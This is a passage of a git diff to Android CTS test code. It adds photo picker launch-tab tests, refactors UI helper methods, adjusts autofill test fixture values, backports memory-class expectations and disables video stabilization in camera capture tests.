intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_IN_ORDER, true);
@@ -221,4 +223,33 @@
mActivity.startActivityForResult(intent, REQUEST_CODE);
}
+
+ @Test
+ public void testExtraPickerLaunchTabOptions() throws Exception {
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+
+ for (int launchOption: new int [] {
+ MediaStore.PICK_IMAGES_TAB_ALBUMS,
+ MediaStore.PICK_IMAGES_TAB_IMAGES
+ }) {
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_LAUNCH_TAB, launchOption);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ UiAssertionUtils.assertThatShowsPickerUi(
+ intent.getType(), intent.getExtras().getInt(
+ MediaStore.EXTRA_PICK_IMAGES_LAUNCH_TAB), sDevice);
+ sDevice.pressBack();
+ }
+ }
+
+ @Test
+ public void testExtraPickerLaunchTabInvalidOption() throws Exception {
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_LAUNCH_TAB, -1);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ final GetResultActivity.Result res = mActivity.getResult();
+ assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED);
+
+ }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
index a4f7b90..98d1df0 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
@@ -24,6 +24,7 @@
import static android.photopicker.cts.util.PhotoPickerUiUtils.findProfileButton;
import static android.photopicker.cts.util.ResultsAssertionsUtils.assertPickerUriFormat;
import static android.photopicker.cts.util.ResultsAssertionsUtils.assertRedactedReadOnlyAccess;
+import static android.provider.MediaStore.ACTION_PICK_IMAGES;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -93,7 +94,7 @@
final int imageCount = 2;
mUriList.addAll(createImagesAndGetUris(imageCount, primaryUserId));
- Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ Intent intent = new Intent(ACTION_PICK_IMAGES);
intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, imageCount);
mActivity.startActivityForResult(intent, REQUEST_CODE);
@@ -120,7 +121,7 @@
assertThat(count).isEqualTo(imageCount);
for (int i = 0; i < count; i++) {
Uri uri = clipData.getItemAt(i).getUri();
- assertPickerUriFormat(uri, primaryUserId);
+ assertPickerUriFormat(ACTION_PICK_IMAGES, uri, primaryUserId);
assertRedactedReadOnlyAccess(uri);
}
}
@@ -147,7 +148,7 @@
}
private void assertBlockedByAdmin(boolean isInvokedFromWorkProfile) throws Exception {
- Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ Intent intent = new Intent(ACTION_PICK_IMAGES);
intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
mActivity.startActivityForResult(intent, REQUEST_CODE);
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
index 78b3ae8..fd47fc1 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
@@ -46,8 +46,6 @@
import androidx.test.filters.LargeTest;
import androidx.test.filters.SdkSuppress;
import androidx.test.uiautomator.UiObject;
-import androidx.test.uiautomator.UiObjectNotFoundException;
-import androidx.test.uiautomator.UiSelector;
import com.android.bedstead.harrier.BedsteadJUnit4;
import com.android.bedstead.harrier.DeviceState;
@@ -157,7 +155,9 @@
verifySettingsTabContainerIsVisible();
assertWithMessage("Personal tab is not selected")
- .that(isSelectedTabTitle(PERSONAL_TAB_TITLE_ENGLISH)).isTrue();
+ .that(PhotoPickerUiUtils.isSelectedTabTitle(
+ PERSONAL_TAB_TITLE_ENGLISH, TAB_LAYOUT_RESOURCE_ID, sDevice))
+ .isTrue();
}
@Test
@@ -171,32 +171,23 @@
verifySettingsTabContainerIsVisible();
assertWithMessage("Work tab is not selected")
- .that(isSelectedTabTitle(WORK_TAB_TITLE_ENGLISH)).isTrue();
+ .that(PhotoPickerUiUtils.isSelectedTabTitle(
+ WORK_TAB_TITLE_ENGLISH, TAB_LAYOUT_RESOURCE_ID, sDevice)).isTrue();
}
private static void verifySettingsTabContainerIsVisible() {
assertWithMessage("Timed out waiting for settings profile select tab container to appear")
- .that(findObject(TAB_CONTAINER_RESOURCE_ID).waitForExists(SHORT_TIMEOUT))
+ .that(PhotoPickerUiUtils.findObject(
+ TAB_CONTAINER_RESOURCE_ID, sDevice).waitForExists(SHORT_TIMEOUT))
.isTrue();
}
private static void verifySettingsTabContainerIsNotVisible() {
assertWithMessage("Found the settings profile select tab container")
- .that(findObject(TAB_CONTAINER_RESOURCE_ID).waitForExists(SHORT_TIMEOUT))
+ .that(PhotoPickerUiUtils.findObject(
+ TAB_CONTAINER_RESOURCE_ID, sDevice).waitForExists(SHORT_TIMEOUT))
.isFalse();
}
-
- private static boolean isSelectedTabTitle(@NonNull String tabTitle)
- throws UiObjectNotFoundException {
- final UiObject tabLayout = findObject(TAB_LAYOUT_RESOURCE_ID);
- final UiObject tab = tabLayout.getChild(new UiSelector().textContains(tabTitle));
- return tab.isSelected();
- }
-
- private static UiObject findObject(@NonNull String resourceId) {
- return sDevice.findObject(new UiSelector().resourceIdMatches(resourceId));
- }
-
@Test
// This test is required for API coverage in Android R
public void testSettingsLaunchFromIntent() throws InterruptedException {
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
index 3d7e6f19..5fef737 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
@@ -40,6 +40,7 @@
import static android.photopicker.cts.util.ResultsAssertionsUtils.assertPersistedGrant;
import static android.photopicker.cts.util.ResultsAssertionsUtils.assertPickerUriFormat;
import static android.photopicker.cts.util.ResultsAssertionsUtils.assertRedactedReadOnlyAccess;
+import static android.provider.MediaStore.ACTION_PICK_IMAGES;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -125,7 +126,7 @@
clickAndWait(sDevice, item);
final Uri uri = mActivity.getResult().data.getData();
- assertPickerUriFormat(uri, mContext.getUserId());
+ assertPickerUriFormat(mAction, uri, mContext.getUserId());
assertPersistedGrant(uri, mContext.getContentResolver());
assertRedactedReadOnlyAccess(uri);
}
@@ -149,7 +150,7 @@
clickAndWait(sDevice, item);
final Uri uri = mActivity.getResult().data.getData();
- assertPickerUriFormat(uri, mContext.getUserId());
+ assertPickerUriFormat(mAction, uri, mContext.getUserId());
assertRedactedReadOnlyAccess(uri);
}
@@ -203,7 +204,7 @@
clickAndWait(sDevice, addButton);
final Uri uri = mActivity.getResult().data.getData();
- assertPickerUriFormat(uri, mContext.getUserId());
+ assertPickerUriFormat(mAction, uri, mContext.getUserId());
assertRedactedReadOnlyAccess(uri);
}
@@ -229,7 +230,7 @@
assertThat(count).isEqualTo(itemCount);
for (int i = 0; i < count; i++) {
final Uri uri = clipData.getItemAt(i).getUri();
- assertPickerUriFormat(uri, mContext.getUserId());
+ assertPickerUriFormat(mAction, uri, mContext.getUserId());
assertPersistedGrant(uri, mContext.getContentResolver());
assertRedactedReadOnlyAccess(uri);
}
@@ -277,7 +278,7 @@
assertThat(count).isEqualTo(3);
for (int i = 0; i < count; i++) {
final Uri uri = clipData.getItemAt(i).getUri();
- assertPickerUriFormat(uri, mContext.getUserId());
+ assertPickerUriFormat(mAction, uri, mContext.getUserId());
assertPersistedGrant(uri, mContext.getContentResolver());
assertRedactedReadOnlyAccess(uri);
}
@@ -317,7 +318,7 @@
assertThat(count).isEqualTo(itemCount - 1);
for (int i = 0; i < count; i++) {
final Uri uri = clipData.getItemAt(i).getUri();
- assertPickerUriFormat(uri, mContext.getUserId());
+ assertPickerUriFormat(mAction, uri, mContext.getUserId());
assertPersistedGrant(uri, mContext.getContentResolver());
assertRedactedReadOnlyAccess(uri);
}
@@ -579,7 +580,7 @@
assertThat(count).isEqualTo(itemCount);
for (int i = 0; i < count; i++) {
final Uri uri = clipData.getItemAt(i).getUri();
- assertPickerUriFormat(uri, mContext.getUserId());
+ assertPickerUriFormat(mAction, uri, mContext.getUserId());
assertPersistedGrant(uri, mContext.getContentResolver());
assertRedactedReadOnlyAccess(uri);
assertMimeType(uri, mimeType);
@@ -625,7 +626,7 @@
.that(clipData.getItemCount()).isEqualTo(itemCount);
for (int i = 0; i < itemCount; i++) {
final Uri uri = clipData.getItemAt(i).getUri();
- assertPickerUriFormat(uri, mContext.getUserId());
+ assertPickerUriFormat(mAction, uri, mContext.getUserId());
assertPersistedGrant(uri, mContext.getContentResolver());
assertRedactedReadOnlyAccess(uri);
assertContainsMimeType(uri, mimeTypes);
@@ -662,7 +663,7 @@
.that(clipData.getItemCount()).isEqualTo(itemCount);
for (int i = 0; i < itemCount; i++) {
final Uri uri = clipData.getItemAt(i).getUri();
- assertPickerUriFormat(uri, mContext.getUserId());
+ assertPickerUriFormat(mAction, uri, mContext.getUserId());
assertPersistedGrant(uri, mContext.getContentResolver());
assertRedactedReadOnlyAccess(uri);
assertMimeType(uri, mimeType);
@@ -873,14 +874,14 @@
private static List<String> getTestParameters() {
return Arrays.asList(
- MediaStore.ACTION_PICK_IMAGES,
+ ACTION_PICK_IMAGES,
Intent.ACTION_GET_CONTENT
);
}
private void addMultipleSelectionFlag(Intent intent) {
switch (intent.getAction()) {
- case MediaStore.ACTION_PICK_IMAGES:
+ case ACTION_PICK_IMAGES:
intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX,
MediaStore.getPickImagesMaxLimit());
break;
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
index 2bbe69e..89d2f54 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
@@ -23,6 +23,7 @@
import androidx.annotation.NonNull;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject;
+import androidx.test.uiautomator.UiObjectNotFoundException;
import androidx.test.uiautomator.UiScrollable;
import androidx.test.uiautomator.UiSelector;
@@ -181,4 +182,22 @@
uiObject.click();
uiDevice.waitForIdle();
}
+
+ /**
+ * Verifies whether the selected tab is the one with the provided title
+ */
+ public static boolean isSelectedTabTitle(
+ @NonNull String tabTitle, @NonNull String tabResourceId, UiDevice device)
+ throws UiObjectNotFoundException {
+ final UiObject tabLayout = findObject(tabResourceId, device);
+ final UiObject tab = tabLayout.getChild(new UiSelector().textContains(tabTitle));
+ return tab.isSelected();
+ }
+
+ /**
+ * Returns the UI object corresponding to the specified resourceId
+ */
+ public static UiObject findObject(@NonNull String resourceId, UiDevice device) {
+ return device.findObject(new UiSelector().resourceIdMatches(resourceId));
+ }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/ResultsAssertionsUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/ResultsAssertionsUtils.java
index 2f34677..9c14650 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/ResultsAssertionsUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/ResultsAssertionsUtils.java
@@ -53,13 +53,17 @@
public class ResultsAssertionsUtils {
private static final String TAG = "PhotoPickerTestAssertions";
- public static void assertPickerUriFormat(Uri uri, int expectedUserId) {
+ public static void assertPickerUriFormat(String action, Uri uri, int expectedUserId) {
// content://media/picker/<user-id>/<media-id>
final int userId = Integer.parseInt(uri.getPathSegments().get(1));
assertThat(userId).isEqualTo(expectedUserId);
final String auth = uri.getPathSegments().get(0);
- assertThat(auth).isEqualTo("picker");
+ if (action.equalsIgnoreCase(Intent.ACTION_GET_CONTENT)) {
+ assertThat(auth).isEqualTo("picker_get_content");
+ } else {
+ assertThat(auth).isEqualTo("picker");
+ }
}
public static void assertPersistedGrant(Uri uri, ContentResolver resolver) {
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/UiAssertionUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/UiAssertionUtils.java
index 4d1e35b..0dcfc9e 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/UiAssertionUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/UiAssertionUtils.java
@@ -16,10 +16,14 @@
package android.photopicker.cts.util;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static com.google.common.truth.Truth.assertThat;
+import android.provider.MediaStore;
+
+import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject;
import androidx.test.uiautomator.UiSelector;
@@ -27,6 +31,10 @@
* Photo Picker Utility methods for PhotoPicker UI assertions.
*/
public class UiAssertionUtils {
+
+ private static final String PICKER_TAB_LAYOUT_RESOURCE_ID =
+ REGEX_PACKAGE_NAME + ":id/tab_layout";
+
/**
* Verifies PhotoPicker UI is shown.
*/
@@ -53,4 +61,24 @@
}
assertThat(new UiObject(new UiSelector().text("Albums")).exists()).isTrue();
}
+
+
+ /**
+ * Verifies PhotoPicker UI based on the launch option set in the intent
+ */
+ public static void assertThatShowsPickerUi(
+ String mimeTypeFilter, int launchPickerTab, UiDevice device) throws Exception {
+
+ assertThatShowsPickerUi(mimeTypeFilter);
+
+ if (launchPickerTab == MediaStore.PICK_IMAGES_TAB_ALBUMS) {
+ // Picker launches with Albums tab
+ PhotoPickerUiUtils.isSelectedTabTitle(
+ "Albums", PICKER_TAB_LAYOUT_RESOURCE_ID, device);
+ } else if (launchPickerTab == MediaStore.PICK_IMAGES_TAB_IMAGES) {
+ // Picker launches with Photos tab
+ PhotoPickerUiUtils.isSelectedTabTitle(
+ "Photos", PICKER_TAB_LAYOUT_RESOURCE_ID, device);
+ }
+ }
}
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 0652fab..c8f3dcb 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -103,7 +103,7 @@
"general-tests",
],
sdk_version: "test_current",
- min_sdk_version: "14",
+ min_sdk_version: "19",
manifest: "DownloadManagerApi28Test/AndroidManifest.xml",
test_config: "DownloadManagerApi28Test/AndroidTest.xml",
lint: {
@@ -139,7 +139,7 @@
"general-tests",
],
sdk_version: "test_current",
- min_sdk_version: "14",
+ min_sdk_version: "19",
manifest: "DownloadManagerInstallerTest/AndroidManifest.xml",
test_config: "DownloadManagerInstallerTest/AndroidTest.xml",
lint: {
diff --git a/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java b/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
index dd689c4..6aea7f5 100644
--- a/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
@@ -87,6 +87,8 @@
expectedMemorySizeForWatch.put(DisplayMetrics.DENSITY_XXXHIGH, 154);
// Backport of DENSITY_520 from Android 14 to android13-tests-dev
expectedMemorySizeForWatch.put(520, 112);
+ // Backport of DENSITY_390 to android14-tests-dev
+ expectedMemorySizeForWatch.put(390, 48);
}
static {
@@ -115,6 +117,8 @@
expectedMemorySizeForSmallNormalScreen.put(DisplayMetrics.DENSITY_XXXHIGH, 256);
// Backport of DENSITY_520 from Android 14 to android13-tests-dev
expectedMemorySizeForSmallNormalScreen.put(520, 192);
+ // Backport of DENSITY_390 to android14-tests-dev
+ expectedMemorySizeForSmallNormalScreen.put(390, 80);
}
static {
@@ -143,6 +147,8 @@
expectedMemorySizeForLargeScreen.put(DisplayMetrics.DENSITY_XXXHIGH, 512);
// Backport of DENSITY_520 from Android 14 to android13-tests-dev
expectedMemorySizeForLargeScreen.put(520, 192);
+ // Backport of DENSITY_390 to android14-tests-dev
+ expectedMemorySizeForLargeScreen.put(390, 160);
}
static {
@@ -171,6 +177,8 @@
expectedMemorySizeForXLargeScreen.put(DisplayMetrics.DENSITY_XXXHIGH, 768);
// Backport of DENSITY_520 from Android 14 to android13-tests-dev
expectedMemorySizeForXLargeScreen.put(520, 576);
+ // Backport of DENSITY_390 to android14-tests-dev
+ expectedMemorySizeForXLargeScreen.put(390, 240);
}
public static Integer getExpectedMemorySize(
diff --git a/tests/appsearch/Android.bp b/tests/appsearch/Android.bp
index ed646f7..b8a34a5 100644
--- a/tests/appsearch/Android.bp
+++ b/tests/appsearch/Android.bp
@@ -34,6 +34,7 @@
"cts",
"general-tests",
"mts-appsearch",
+ "mcts-appsearch",
],
data: [
":CtsAppSearchTestHelperA",
diff --git a/tests/attentionservice/src/android/attentionservice/cts/CtsAttentionServiceDeviceTest.java b/tests/attentionservice/src/android/attentionservice/cts/CtsAttentionServiceDeviceTest.java
index 6e85d2d..e899425 100644
--- a/tests/attentionservice/src/android/attentionservice/cts/CtsAttentionServiceDeviceTest.java
+++ b/tests/attentionservice/src/android/attentionservice/cts/CtsAttentionServiceDeviceTest.java
@@ -25,6 +25,7 @@
import static org.junit.Assume.assumeTrue;
+import android.content.res.Resources;
import android.platform.test.annotations.AppModeFull;
import android.provider.DeviceConfig;
import android.service.attention.AttentionService;
@@ -57,6 +58,10 @@
private final boolean isTestable =
!TextUtils.isEmpty(getAttentionServiceComponent());
+ private final Resources mResources = getInstrumentation().getTargetContext()
+ .getResources();
+ private boolean mIsProximitySupported;
+
@Rule
public final DeviceConfigStateChangerRule mLookAllTheseRules =
new DeviceConfigStateChangerRule(getInstrumentation().getTargetContext(),
@@ -67,6 +72,12 @@
@Before
public void setUp() {
assumeTrue("Feature not available on this device. Skipping test.", isTestable);
+ try {
+ mIsProximitySupported = mResources.getBoolean(
+ mResources.getIdentifier("config_enableProximityService", "bool", "android"));
+ } catch (Resources.NotFoundException e) {
+ // this would mean resource is not found in device. skip test
+ }
clearTestableAttentionService();
CtsTestAttentionService.reset();
bindToTestService();
@@ -79,6 +90,9 @@
@Test
public void testProximityUpdates_OnSuccess() {
+ assumeTrue("Proximity Feature not available on this device. Skipping test.",
+ mIsProximitySupported);
+
assertThat(CtsTestAttentionService.hasCurrentProximityUpdates()).isFalse();
/** From manager, call onStartProximityUpdates() on test service */
@@ -98,6 +112,9 @@
@Test
public void testProximityUpdates_OnCancelledFromManager() {
+ assumeTrue("Proximity Feature not available on this device. Skipping test.",
+ mIsProximitySupported);
+
assertThat(CtsTestAttentionService.hasPendingChecks()).isFalse();
/** From manager, call onStartProximityUpdates() on test service */
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/AuthenticationTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/AuthenticationTest.java
index 4a6bf6c..bd3f859 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/AuthenticationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/AuthenticationTest.java
@@ -498,14 +498,6 @@
mActivity.onUsername((v) -> v.setText("du"));
mUiBot.assertDatasets("DS1", "DS2");
mActivity.onUsername((v) -> v.setText("dud"));
- mUiBot.assertDatasets("DS1", "DS2");
- mActivity.onUsername((v) -> v.setText("dude"));
- mUiBot.assertDatasets("DS1", "DS2");
- mActivity.onUsername((v) -> v.setText("dude,"));
- mUiBot.assertDatasets("DS2");
-
- // Now delete the char and assert 2 are shown again...
- mActivity.onUsername((v) -> v.setText("dude"));
final UiObject2 picker = mUiBot.assertDatasets("DS1", "DS2");
// ...and select it this time
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java
index 8a7f91c..c964229 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java
@@ -124,18 +124,18 @@
sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
new CannedDataset.Builder()
- .setField(ID_USERNAME, "username1")
- .setField(ID_PASSWORD, "password1")
+ .setField(ID_USERNAME, "ab1")
+ .setField(ID_PASSWORD, "ab1")
.setPresentation(createPresentation("dataset1"))
.build())
.addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, "username2")
- .setField(ID_PASSWORD, "password2")
+ .setField(ID_USERNAME, "ab2")
+ .setField(ID_PASSWORD, "ab2")
.setPresentation(createPresentation("dataset2"))
.build())
.setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
.build());
- mActivity.expectAutoFill("username1", "password1");
+ mActivity.expectAutoFill("ab1", "ab1");
// Trigger autofill on username
mActivity.onUsername(View::requestFocus);
@@ -153,10 +153,10 @@
}
// Finish the context by login in
- mActivity.onUsername((v) -> v.setText("USERNAME"));
- mActivity.onPassword((v) -> v.setText("USERNAME"));
+ mActivity.onUsername((v) -> v.setText("AB"));
+ mActivity.onPassword((v) -> v.setText("AB"));
- final String expectedMessage = getWelcomeMessage("USERNAME");
+ final String expectedMessage = getWelcomeMessage("AB");
final String actualMessage = mActivity.tapLogin();
assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
@@ -368,19 +368,19 @@
sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
new CannedDataset.Builder()
.setId("id1")
- .setField(ID_USERNAME, "username1")
- .setField(ID_PASSWORD, "password1")
+ .setField(ID_USERNAME, "ab1")
+ .setField(ID_PASSWORD, "ab1")
.setPresentation(createPresentation("dataset1"))
.build())
.addDataset(new CannedDataset.Builder()
.setId("id2")
- .setField(ID_USERNAME, "username2")
- .setField(ID_PASSWORD, "password2")
+ .setField(ID_USERNAME, "ab2")
+ .setField(ID_PASSWORD, "ab2")
.setPresentation(createPresentation("dataset2"))
.build())
.setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
.build());
- mActivity.expectAutoFill("username1", "password1");
+ mActivity.expectAutoFill("ab1", "ab1");
// Trigger autofill on username
mActivity.onUsername(View::requestFocus);
@@ -398,10 +398,10 @@
}
// Finish the context by login in
- mActivity.onUsername((v) -> v.setText("USERNAME"));
- mActivity.onPassword((v) -> v.setText("USERNAME"));
+ mActivity.onUsername((v) -> v.setText("AB"));
+ mActivity.onPassword((v) -> v.setText("AB"));
- final String expectedMessage = getWelcomeMessage("USERNAME");
+ final String expectedMessage = getWelcomeMessage("AB");
final String actualMessage = mActivity.tapLogin();
assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
@@ -612,13 +612,13 @@
sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
new CannedDataset.Builder()
.setId("id1")
- .setField(ID_USERNAME, "username")
- .setField(ID_PASSWORD, "username")
+ .setField(ID_USERNAME, "abc")
+ .setField(ID_PASSWORD, "abc")
.setPresentation(createPresentation("dataset1"))
.build())
.setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
.build());
- mActivity.expectAutoFill("username", "username");
+ mActivity.expectAutoFill("abc", "abc");
// Trigger autofill on username
mActivity.onUsername(View::requestFocus);
@@ -634,15 +634,15 @@
assertFillEventForDatasetSelected(events.get(1), "id1", UI_TYPE_MENU);
}
- // Change the fields to different values from0 datasets
- mActivity.onUsername((v) -> v.setText("USERNAME"));
- mActivity.onPassword((v) -> v.setText("USERNAME"));
+ // Change the fields to different values from original datasets
+ mActivity.onUsername((v) -> v.setText("ABC"));
+ mActivity.onPassword((v) -> v.setText("ABC"));
// Then change back to dataset values
- mActivity.onUsername((v) -> v.setText("username"));
- mActivity.onPassword((v) -> v.setText("username"));
+ mActivity.onUsername((v) -> v.setText("abc"));
+ mActivity.onPassword((v) -> v.setText("abc"));
- final String expectedMessage = getWelcomeMessage("username");
+ final String expectedMessage = getWelcomeMessage("abc");
final String actualMessage = mActivity.tapLogin();
assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
index 15fc1ed..d76e3eb 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
@@ -2429,11 +2429,11 @@
*/
// Set expectations.
sReplier.addResponse(new CannedDataset.Builder()
- .setField(ID_USERNAME, "dude")
+ .setField(ID_USERNAME, "dud")
.setField(ID_PASSWORD, "sweet")
.setPresentation(createPresentation("The Dude"))
.build());
- mActivity.expectAutoFill("dude", "sweet");
+ mActivity.expectAutoFill("dud", "sweet");
// Trigger auto-fill.
requestFocusOnUsername();
@@ -2469,7 +2469,7 @@
// Assert request.
final FillRequest fillRequest2 = sReplier.getNextFillRequest();
assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
- assertValue(fillRequest2.structure, ID_USERNAME, "dude");
+ assertValue(fillRequest2.structure, ID_USERNAME, "dud");
assertTextIsSanitized(fillRequest2.structure, ID_PASSWORD);
// Select it.
@@ -2490,11 +2490,11 @@
*/
// Set expectations.
sReplier.addResponse(new CannedDataset.Builder()
- .setField(ID_USERNAME, "dude")
+ .setField(ID_USERNAME, "dud")
.setField(ID_PASSWORD, "sweet")
.setPresentation(createPresentation("The Dude"))
.build());
- mActivity.expectAutoFill("dude", "sweet");
+ mActivity.expectAutoFill("dud", "sweet");
// Trigger auto-fill.
mActivity.forceAutofillOnUsername();
@@ -2530,7 +2530,7 @@
// Assert request.
final FillRequest fillRequest2 = sReplier.getNextFillRequest();
assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
- assertValue(fillRequest2.structure, ID_USERNAME, "dude");
+ assertValue(fillRequest2.structure, ID_USERNAME, "dud");
assertTextIsSanitized(fillRequest2.structure, ID_PASSWORD);
// Select it.
diff --git a/tests/backup/Android.bp b/tests/backup/Android.bp
index 26ec960..56ab818 100644
--- a/tests/backup/Android.bp
+++ b/tests/backup/Android.bp
@@ -44,6 +44,7 @@
"cts",
"general-tests",
"mts-permission",
+ "mcts-permission",
],
sdk_version: "test_current",
data: [
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 1a82c5a..c37792a 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -2805,6 +2805,8 @@
" Preview size is " + previewSize + ", repeating is " + repeating);
}
requestBuilder.set(CaptureRequest.SCALER_CROP_REGION, cropRegions[i]);
+ requestBuilder.set(CaptureRequest.CONTROL_VIDEO_STABILIZATION_MODE,
+ CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_OFF);
requests[i] = requestBuilder.build();
if (VERBOSE) {
Log.v(TAG, "submit crop region " + cropRegions[i]);
@@ -2951,6 +2953,8 @@
}
requestBuilder.set(CaptureRequest.CONTROL_ZOOM_RATIO, zoomFactor);
requestBuilder.set(CaptureRequest.SCALER_CROP_REGION, defaultCropRegion);
+ requestBuilder.set(CaptureRequest.CONTROL_VIDEO_STABILIZATION_MODE,
+ CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_OFF);
CaptureRequest request = requestBuilder.build();
for (int j = 0; j < captureSubmitRepeat; ++j) {
mSession.capture(request, listener, mHandler);
@@ -3194,6 +3198,8 @@
Size maxPreviewSize = mOrderedPreviewSizes.get(0);
CaptureRequest.Builder requestBuilder =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+ requestBuilder.set(CaptureRequest.CONTROL_VIDEO_STABILIZATION_MODE,
+ CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_OFF);
for (Capability cap : extendedSceneModeCaps) {
int mode = cap.getMode();
@@ -3229,6 +3235,7 @@
CameraMetadata.CONTROL_AUTOFRAMING_ON};
final int zoomSteps = 5;
final float zoomErrorMargin = 0.05f;
+ final int kMaxNumFrames = 200;
Size maxPreviewSize = mOrderedPreviewSizes.get(0); // Max preview size.
CaptureRequest.Builder requestBuilder =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
@@ -3259,17 +3266,33 @@
CaptureResult.CONTROL_VIDEO_STABILIZATION_MODE);
if (mode == CameraMetadata.CONTROL_AUTOFRAMING_ON) {
- if (expectedZoomRatio == 0.0f) {
- expectedZoomRatio = resultZoomRatio;
- }
- assertTrue("Autoframing state should be FRAMING or CONVERGED when AUTOFRAMING"
- + "is ON",
+ int numFrames = 0;
+ while (numFrames < kMaxNumFrames) {
+ result = listener.getCaptureResult(WAIT_FOR_RESULT_TIMEOUT_MS);
+ autoframingState = getValueNotNull(result,
+ CaptureResult.CONTROL_AUTOFRAMING_STATE);
+ assertTrue("Autoframing state should be FRAMING or CONVERGED when "
+ + "AUTOFRAMING is ON",
